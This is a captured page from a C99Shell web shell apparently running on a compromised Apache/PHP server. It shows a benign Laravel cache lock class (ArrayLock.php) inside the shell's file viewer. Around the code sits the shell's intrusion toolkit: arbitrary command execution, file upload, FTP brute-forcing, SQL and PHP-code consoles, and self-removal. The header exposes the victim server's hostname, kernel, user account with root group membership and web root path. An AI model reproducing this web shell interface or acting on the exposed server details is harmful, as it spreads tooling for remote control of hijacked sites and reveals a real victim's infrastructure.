!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Cache/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayLock.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Cache;

use 
Illuminate\Support\Carbon;

class 
ArrayLock extends Lock
{
    
/**
     * The parent array cache store.
     *
     * @var \Illuminate\Cache\ArrayStore
     */
    
protected $store;

    
/**
     * Create a new lock instance.
     *
     * @param  \Illuminate\Cache\ArrayStore  $store
     * @param  string  $name
     * @param  int  $seconds
     * @param  string|null  $owner
     * @return void
     */
    
public function __construct($store$name$seconds$owner null)
    {
        
parent::__construct($name$seconds$owner);

        
$this->store $store;
    }

    
/**
     * Attempt to acquire the lock.
     *
     * @return bool
     */
    
public function acquire()
    {
        
$expiration $this->store->locks[$this->name]['expiresAt'] ?? Carbon::now()->addSecond();

        if (
$this->exists() && $expiration->isFuture()) {
            return 
false;
        }

        
$this->store->locks[$this->name] = [
            
'owner' => $this->owner,
            
'expiresAt' => $this->seconds === null Carbon::now()->addSeconds($this->seconds),
        ];

        return 
true;
    }

    
/**
     * Determine if the current lock exists.
     *
     * @return bool
     */
    
protected function exists()
    {
        return isset(
$this->store->locks[$this->name]);
    }

    
/**
     * Release the lock.
     *
     * @return bool
     */
    
public function release()
    {
        if (! 
$this->exists()) {
            return 
false;
        }

        if (! 
$this->isOwnedByCurrentProcess()) {
            return 
false;
        }

        
$this->forceRelease();

        return 
true;
    }

    
/**
     * Returns the owner value written into the driver for this lock.
     *
     * @return string
     */
    
protected function getCurrentOwner()
    {
        return 
$this->store->locks[$this->name]['owner'];
    }

    
/**
     * Releases this lock in disregard of ownership.
     *
     * @return void
     */
    
public function forceRelease()
    {
        unset(
$this->store->locks[$this->name]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--